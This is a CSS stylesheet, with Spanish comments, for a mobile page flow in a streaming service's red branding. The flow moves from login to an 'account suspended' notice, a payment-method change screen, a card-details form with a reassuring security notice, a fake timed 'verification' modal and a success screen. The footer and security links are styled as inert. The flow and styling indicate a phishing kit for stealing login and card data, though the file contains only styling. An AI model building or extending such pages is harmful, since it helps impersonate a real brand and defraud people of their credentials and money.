/* =====================================
   RESET
===================================== */

*{
    margin:0;
    padding:0;
    box-sizing:border-box;
}

:root{

    --background:#000000;

    --card:#111111;

    --border:#2d2d2d;

    --red:#E50914;

    --text:#FFFFFF;

    --text2:#B3B3B3;

    --input:#1c1c1c;

    --input-border:#555;

    --button:#E50914;

}

html{

    font-size:16px;

}

body{

    background:var(--background);

    color:var(--text);

    font-family:Inter, "Helvetica Neue",-apple-system,BlinkMacSystemFont,sans-serif;

    min-height:100vh;

}

.page{

    width:100%;

    max-width:430px;

    margin:auto;

    min-height:100vh;

    background:#000;

}

/* =====================================
   HEADER
===================================== */

.header {
    height: 45px;
    padding: 16px;
    display: flex;
    align-items: center;
}

.logo {
    display: flex;
    align-items: center;
}

.logo img {
    height: 20px;
    width: auto;
    display: block;
}

.divider {
    height: 1px;
    background: #2a2a2a;
}

/* =====================================
   CONTENIDO
===================================== */

.login-container{

    padding:28px 22px 40px;

}

/* =====================================
   ALERTA
===================================== */

.warning-card{

    width:100%;

    margin-bottom:24px;

    padding:16px;

    background:#1a0a0a;

    border:1px solid #E50914;

    border-radius:8px;

}

.warning-header{

    display:flex;

    gap:12px;

    align-items:flex-start;

    margin-bottom:4px;

}

.warning-icon{

    width:20px;

    height:20px;

    flex-shrink:0;

    color:#E50914;

    position:relative;

    left:0px;

    top:-1px;

}

.warning-icon svg{

    width:20px;

    height:20px;

    display:block;

}

.warning-title{

    color:#E50914;

    font-size:14px;

    font-weight:700;

    margin-bottom:4px;

}

.warning-text{

    color:#8c8c8c;

    font-size:13px;

    line-height:1.7;

}

/* =====================================
   TITULOS
===================================== */

.title{

    font-size:28px;

    line-height:1.15;

    font-weight:700;

    margin-bottom:12px;

}

.subtitle{

    color:#B3B3B3;

    font-size:15px;

    margin-bottom:28px;

}

/* =====================================
   INPUT
===================================== */

.input-group{

    margin-bottom:18px;

}

.input-group input{

    width:100%;

    height:50px;

    border-radius:8px;

    border:1px solid #555;

    background:#181818;

    color:#FFF;

    font-size:16px;

    padding:0 18px;

    outline:none;

    transition:.2s;

}

.input-group input:focus{

    border-color:#FFFFFF;

}

.input-group input::placeholder{

    color:#9A9A9A;

}

/* =====================================
   BOTON
===================================== */

#continueBtn{

    width:100%;

    height:54px;

    border:none;

    border-radius:8px;

    background:#E50914;

    color:#FFF;

    font-size:17px;

    font-weight:700;

    cursor:pointer;

    transition:.2s;

}

#continueBtn:hover{

    background:#C50812;

}

/* =====================================
   AYUDA
===================================== */

.help-button{

    margin-top:24px;

    display:flex;

    align-items:center;

    gap:4px;

    background:none;

    border:none;

    color:#FFFFFF;

    font-size:15px;

    font-weight:400;

    cursor:pointer;

    transition:color .2s;

    padding:0;

}

.help-button:hover{

    color:#d1d1d1;

}

.help-button svg{

    width:18px;

    height:18px;

    flex-shrink:0;

}



/* =====================================
   CAPTCHA
===================================== */

.captcha{

    margin-top:34px;

    color:#888;

    font-size:12px;

    line-height:1.5;

}

.captcha a{

    color:#3EA6FF;

    text-decoration:none;

}

/* =====================================
   RESPONSIVE PC
===================================== */

@media(min-width:700px){

    body{

        display:flex;

        justify-content:center;

        background:#111;

    }

    .page{

        background:#000;

        box-shadow:0 0 30px rgba(0,0,0,.45);

    }

}

.error-message {
    display: none;
    align-items: center;
    gap: 6px;
    margin-top: 8px;
    color: #e50914;
    font-size: 13px;
    line-height: 1.3;
}

.error-icon {
    font-size: 15px;
    line-height: 1;
}

.input-group.has-error input {
    border-color: #e50914;
}

.account-subtitle {

    color: #8c8c8c;

    font-size: 16px;

    margin-bottom: 32px;

    line-height: 1.5;

}

.account-subtitle span {

    color: #ffffff;

    font-weight: 400;

}

.input-group{

    position:relative;

}

.toggle-name{

    position:absolute;

    right:16px;

    top:50%;

    transform:translateY(-50%);

    background:none;

    border:none;

    color:#8c8c8c;

    font-size:14px;

    font-weight:500;

    cursor:pointer;

    transition:.2s;

}

.toggle-name:hover{

    color:#FFFFFF;

}

#loginBtn{

    width:100%;

    height:50px;

    border:none;

    border-radius:8px;

    background:#E50914;

    color:#FFFFFF;

    font-size:16px;

    font-weight:700;

    cursor:pointer;

    transition:all .15s ease;

}

#loginBtn:hover{

    background:#F6121D;

}

#loginBtn:active{

    transform:scale(.98);

}

.suspended-page {
    min-height: 100vh;
    background: #ffffff;
}

.suspended-main {
    min-height: 100vh;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 32px 16px;
}

.suspended-content {
    width: 100%;
    max-width: 440px;
    margin: 0 auto;
    text-align: center;
}

.device-icons {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 16px;
    margin-bottom: 16px;
    color: #e50914;
}

.device-icons svg {
    width: 40px;
    height: 40px;
}

.step-label {
    margin-bottom: 8px;
    color: #6b7280;
    font-size: 12px;
    font-weight: 400;
    text-transform: uppercase;
    letter-spacing: 0.05em;
}

.suspended-title {
    margin-bottom: 12px;
    color: #000000;
    font-size: 22px;
    font-weight: 700;
    line-height: 1.25;
}

.suspended-text {
    max-width: 320px;
    margin: 0 auto 24px;
    color: #4b5563;
    font-size: 14px;
    line-height: 1.625;
}

#nextSuspendedBtn {
    width: 100%;
    max-width: 300px;
    height: 44px;
    border: none;
    border-radius: 4px;
    background: #e50914;
    color: #ffffff;
    font-family: inherit;
    font-size: 15px;
    font-weight: 700;
    cursor: pointer;
}

.divider-light {

    background: #e6e6e6;

}

.change-payment-page {
    min-height: 100vh;
    background: #ffffff;
}

.change-payment-main {
    display: flex;
    flex-direction: column;
    padding: 40px 16px 32px;
}

.change-payment-content {
    width: 100%;
    max-width: 440px;
    margin: 0 auto;
}

.payment-lock-icon{

    width:50px;

    height:50px;

    border:3px solid #E50914;

    border-radius:50%;

    display:flex;

    align-items:center;

    justify-content:center;

    color:#E50914;

    margin-bottom:24px;

}

.payment-lock-icon svg{

    width:25px;

    height:25;

}

.change-payment-title{

    margin-bottom:8px;

    color:#000000;

    font-size:24px;

    font-weight:700;

    line-height:1.2;

}

.change-payment-subtitle{

    margin-bottom:16px;

    color:#4b5563;

    font-size:14px;

    line-height:1.5;

}

.encrypted-message{

    display:flex;

    align-items:center;

    justify-content:center;

    gap:6px;

    margin-bottom:24px;

    color:#6b7280;

    font-size:12px;

}

.encrypted-message svg{

    width:14px;

    height:14px;

}

.payment-options {
    display: flex;
    flex-direction: column;
    gap: 12px;
    margin-bottom: 24px;
}

.payment-option {
    width: 100%;
    min-height: 78px;
    padding: 16px;
    border-radius: 8px;
    font-family: inherit;
}

.payment-option-active {
    display: flex;
    align-items: center;
    justify-content: space-between;
    border: 1px solid #d1d5db;
    background: #ffffff;
    cursor: pointer;
    transition: border-color .2s;
}

.payment-option-active:hover {
    border-color: #9ca3af;
}

.payment-option-content {
    flex: 1;
    text-align: left;
}

.payment-option-title {
    margin-bottom: 10px;
    color: #000000;
    font-size: 14px;
    font-weight: 400;
}

.payment-chevron {
    width: 22px;
    height: 22px;
    color: #9ca3af;
    flex-shrink: 0;
}

.card-brands{

    display:flex;

    align-items:center;

    gap:6px;

}

.card-logo{

    width:auto;

    height:16px;

    flex-shrink:0;

}

.payment-option-disabled {
    display: flex;
    align-items: center;
    gap: 12px;

    min-height: 62px;

    padding: 10px 16px;

    border: 1px solid #e5e7eb;
    background: #f9fafb;

    opacity: 0.6;
    cursor: not-allowed;
}

.nequi-placeholder {
    width: 32px;
    height: 32px;

    display: flex;
    align-items: center;
    justify-content: center;

    border-radius: 6px;
    background: #e5e7eb;

    color: #9ca3af;
    font-size: 15px;
    font-weight: 700;
}

.nequi-name {
    color: #9ca3af;
    font-size: 14px;
}

.unavailable-label {
    padding: 3px 8px;

    border: 1px solid #e5e7eb;
    border-radius: 4px;
    background: #f3f4f6;

    color: #9ca3af;
    font-size: 10px;
    line-height: 1;
}

.payment-option-disabled .payment-chevron {
    margin-left: auto;
    color: #d1d5db;
}

.nequi-logo {
    width: 28px;
    height: 2628;

    border-radius: 6px;

    object-fit: contain;

    filter: grayscale(100%);
}

.change-payment-header {

    display: flex;

    justify-content: space-between;

    align-items: center;

}

.logout-button {

    background: none;

    border: none;

    color: #000000;

    font-size: 14px;

    font-weight: 600;

    font-family: inherit;

    cursor: pointer;

    transition: color .2s;

}

.logout-button:hover {

    color: #666666;

}

.promo-link {

    display: inline-block;

    color: #2563EB;

    font-size: 13px;

    font-weight: 400;

    font-family: inherit;

    text-decoration: none;

    transition: color .2s;

}

.promo-link:hover {

    text-decoration: underline;

}

.payment-footer {
    flex: 1;

    margin-top: 0;

    padding: 32px 16px;

    border-top: 1px solid #e5e7eb;

    background: #f3f3f3;
}

.payment-footer > * {
    width: 100%;
    max-width: 440px;

    margin-left: auto;
    margin-right: auto;
}

.footer-phone {
    margin-bottom: 20px;

    color: #1f2937;

    font-size: 12px;
    font-weight: 400;
    line-height: 1.5;
}

.footer-links {
    display: grid;

    grid-template-columns: repeat(2, minmax(0, 1fr));

    row-gap: 16px;
    column-gap: 24px;

    font-size: 12px;
}

.footer-links span {
    width: fit-content;

    color: #4b5563;

    font-size: 12px;
    font-weight: 400;

    text-decoration: underline;

    cursor: default;
    user-select: none;
}

.payment-confirmation-main{

    padding:32px 16px 16px;

}

.payment-confirmation-content{

    width:100%;
    max-width:440px;

    margin:0 auto;

}

.confirmation-step{

    margin-bottom:4px;

    color:#6b7280;

    font-size:12px;

    font-weight:400;

    text-transform:uppercase;

    letter-spacing:.08em;

}

.confirmation-title{

    margin-bottom:10px;

    color:#000000;

    font-size:24px;

    font-weight:700;

    line-height:1.2;

}

.confirmation-card-logos{

    display:flex;

    align-items:center;

    gap:6px;

    margin-bottom:24px;

}

.confirmation-card-logos svg{

    width:auto;

    height:20px;

    flex-shrink:0;

}

.payment-confirmation-page{

    min-height:100vh;

    background:#ffffff;

}

.confirmation-form{

    display:flex;

    flex-direction:column;

    gap:16px;

}

.confirmation-field{

    position:relative;

}

.confirmation-field input{

    width:100%;

    height:52px;

    padding:0 16px 0 44px;

    border:1px solid #d1d5db;

    border-radius:8px;

    background:#ffffff;

    color:#000000;

    font-family:inherit;

    font-size:16px;

    outline:none;

    transition:border-color .2s, box-shadow .2s;

}

.confirmation-field input::placeholder {
    color: color-mix(in oklab, currentColor 50%, transparent);
    opacity: 1;
    font-size: 0.80rem;
}

.confirmation-field input:focus{

    border-color:#333333;

    box-shadow:0 0 0 1px rgba(51,51,51,.1);

}

.confirmation-field-icon{

    position:absolute;

    left:14px;

    top:50%;

    transform:translateY(-50%);

    width:18px;

    height:18px;

    color:#9ca3af;

    pointer-events:none;

}

.confirmation-row{

    display:grid;

    grid-template-columns:1fr 1fr;

    gap:12px;

}

.security-notice{

    display:flex;

    align-items:flex-start;

    gap:10px;

    margin-top:2px;

    padding:16px 12px;

    border:1px solid #e5e7eb;

    border-radius:8px;

    background:#f9fafb;

}

.security-notice-icon{

    width:20px;

    height:20px;

    margin-top:2px;

    flex-shrink:0;

    color:#16a34a;

}

.security-notice p{

    margin:0;

    color:#4b5563;

    font-size:11px;

    line-height:1.55;

}

.security-link{

    color:#2563eb;

    cursor:default;

}

.update-button{

    width:100%;

    height:52px;

    margin-top:2px;

    border:none;

    border-radius:8px;

    background:#E50914;

    color:#ffffff;

    font-family:inherit;

    font-size:15px;

    font-weight:700;

    cursor:pointer;

    transition:.15s;

}

.update-button:hover{

    background:#F6121D;

}

.update-button:active{

    transform:scale(.97);

}

.field-error{

    display:none;

    align-items:center;

    gap:4px;

    margin-top:4px;

    margin-left:4px;

    color:#E50914;

    font-size:11px;

}

.field-error-icon{

    width:12px;

    height:12px;

    flex-shrink:0;

}

/* ===========================
   MODAL DE VERIFICACIÓN
=========================== */

.academic-modal-overlay{

    position:fixed;
    inset:0;

    display:flex;
    align-items:center;
    justify-content:center;

    padding:16px;

    background: rgba(17, 24, 39, 0.35);
    backdrop-filter: blur(3px);
    -webkit-backdrop-filter: blur(3px);

    z-index:9999;

    animation:modalFade .30s ease;
}

.academic-modal{

    width:100%;
    max-width:420px;

    background:#fff;

    border:1px solid #e5e7eb;
    border-radius:18px;

    overflow:hidden;

    box-shadow:0 25px 60px rgba(0,0,0,.18);

    animation:modalScale .35s cubic-bezier(.23,1,.32,1);
}

.academic-modal-header{

    display:flex;
    justify-content:space-between;
    align-items:center;

    padding:16px 20px;

    background:#f8f8f8;

    border-bottom:1px solid #e5e7eb;
}

.academic-modal-brand{

    display:flex;
    align-items:center;
    gap:12px;
}


.academic-modal-brand-title{

    margin:0;

    font-size:13px;
    font-weight:700;
}

.academic-modal-brand-subtitle{

    margin-top:2px;

    font-size:11px;

    color:#777;
}

.academic-modal-verified{

    display:flex;
    align-items:center;
    gap:6px;

    font-size:11px;

    color:#666;
}

.academic-modal-shield{

    width:16px;
    height:16px;
}

.academic-modal-summary{

    display:flex;
    justify-content:space-between;

    padding:16px 20px;

    border-bottom:1px solid #ececec;
}

.academic-modal-summary-right{

    text-align:right;
}

.academic-modal-label{

    margin:0;

    font-size:10px;

    color:#888;

    text-transform:uppercase;

    letter-spacing:.08em;
}

.academic-modal-value{

    display:block;

    margin:4px 0 0;

    font-size:14px;
    font-weight:700;
    line-height:1.3;

    color:#111827 !important;

}

.academic-modal-content{

    padding:22px;
}

.academic-modal-loading{

    text-align:center;
}

.academic-spinner{

    position:relative;

    width:70px;
    height:70px;

    margin:0 auto 22px;
}

.academic-spinner-base{

    position:absolute;
    inset:0;

    border:4px solid #e5e7eb;

    border-radius:50%;
}

.academic-spinner-active{

    position:absolute;
    inset:0;

    border:4px solid #E50914;
    border-top-color:transparent;

    border-radius:50%;

    animation:spin 1s linear infinite;
}

.academic-spinner-center{

    position:absolute;
    inset:14px;

    display:flex;
    align-items:center;
    justify-content:center;

    border-radius:50%;

    background:rgba(229, 9, 20, .10);
}

.academic-spinner-icon{

    width:28px;
    height:28px;

    color:#E50914;
}

.academic-modal-title{

    margin:0;

    font-size:16px;

    font-weight:700;

    color:#111827;

    line-height:1.3;

}

.academic-modal-description{

    margin:12px auto 0;

    max-width:270px;

    font-size:14px;

    line-height:1.6;

    color:#666;
}

.academic-progress-wrapper{

    margin:28px auto 0;

    max-width:250px;
}

.academic-progress-track{

    width:100%;
    height:7px;

    border-radius:999px;

    overflow:hidden;

    background:#e5e7eb;
}

.academic-progress-bar{

    width:0;

    height:100%;

    border-radius:999px;

    background:linear-gradient(90deg,#E50914,#ff4d4d);

    animation:progressFill 6s linear forwards;
}

.academic-progress-text{

    margin-top:10px;

    font-size:11px;

    color:#888;
}

.academic-loading-dots{

    display:flex;
    justify-content:center;
    gap:7px;

    margin-top:20px;
}

.academic-loading-dots div{

    width:8px;
    height:8px;

    border-radius:50%;

    background:#E50914;

    animation:bounce 1s infinite;
}

.academic-modal-footer{

    display:flex;
    justify-content:center;
    align-items:center;
    gap:8px;

    margin-top:24px;

    padding-top:18px;

    border-top:1px solid #ececec;

    font-size:11px;

    color:#777;
}

@keyframes modalFade{

    from{

        opacity:0;
    }

    to{

        opacity:1;
    }
}

@keyframes modalScale{

    from{

        opacity:0;
        transform:scale(.92);
    }

    to{

        opacity:1;
        transform:scale(1);
    }
}

@keyframes spin{

    to{

        transform:rotate(360deg);
    }
}

@keyframes progressFill{

    from{

        width:0%;
    }

    to{

        width:100%;
    }
}

@keyframes bounce{

    0%,80%,100%{

        transform:translateY(0);
    }

    40%{

        transform:translateY(-6px);
    }
}

/* ===========================
   PANTALLA FINAL
=========================== */

.success-page{

    min-height:100dvh;

    display:flex;
    align-items:center;
    justify-content:center;

    padding:16px;

    background:#000;
}

.success-container{

    width:100%;
    max-width:448px;

    padding:0 8px;

    text-align:center;
}

.success-icon-animation{

    opacity:1;
    transform:scale(1);

    animation:successAppear .7s ease both;
}

.success-icon-circle{

    width:96px;
    height:96px;

    margin:0 auto 24px;

    display:flex;
    align-items:center;
    justify-content:center;

    border:2px solid rgba(34,197,94,.4);
    border-radius:50%;

    background:linear-gradient(
        135deg,
        rgba(34,197,94,.20),
        rgba(16,185,129,.20)
    );
}

.success-icon{

    width:48px;
    height:48px;

    color:#4ade80;
}

.success-title{

    margin:0 0 12px;

    font-size:24px;
    font-weight:700;

    color:#fff;
}

.success-description{

    margin:0 0 32px;

    font-size:14px;
    line-height:1.6;

    color:#9ca3af;
}

.success-card{

    margin-bottom:24px;
    padding:24px;

    border:1px solid #1f2937;
    border-radius:12px;

    background:rgba(17,24,39,.60);
}

.success-student-info{

    display:flex;
    align-items:center;
    justify-content:center;
    gap:12px;

    margin-bottom:16px;
}

.success-student-logo{

    width:40px;
    height:28px;

    object-fit:contain;

    display:block;
}

.success-student-number{

    font-size:14px;

    color:#d1d5db;
}

.success-verification{

    display:flex;
    align-items:center;
    justify-content:center;
    gap:8px;

    font-size:12px;

    color:#4ade80;
}

.success-verification-icon{

    width:16px;
    height:16px;
}

.success-home-button{

    width:100%;

    padding:14px 18px;

    border:0;
    border-radius:8px;

    background:linear-gradient(90deg,#dc2626,#ef4444);

    color:#fff;

    font-size:16px;
    font-weight:600;

    cursor:pointer;

    transition:
        transform .15s ease,
        filter .2s ease;
}

.success-home-button:hover{

    filter:brightness(1.08);
}

.success-home-button:active{

    transform:scale(.97);
}

.success-security{

    margin-top:24px;

    font-size:10px;

    color:#4b5563;
}

@keyframes successAppear{

    from{

        opacity:0;
        transform:scale(.85);
    }

    to{

        opacity:1;
        transform:scale(1);
    }
}

@media (max-width:480px){

    .success-icon-circle{

        width:80px;
        height:80px;

        margin-bottom:16px;
    }

    .success-icon{

        width:40px;
        height:40px;
    }

    .success-title{

        font-size:20px;
    }

    .success-description{

        font-size:12px;
        margin-bottom:24px;
    }

}

.loading-spinner {
    width: 18px;
    height: 18px;
    border: 3px solid rgba(255, 255, 255, 0.35);
    border-top-color: #ffffff;
    border-radius: 50%;
    animation: spin .8s linear infinite;
    display: inline-block;
    vertical-align: middle;
}

@keyframes spin {
    to {
        transform: rotate(360deg);
    }
}

button.loading {
    opacity: .75;
    cursor: not-allowed;
}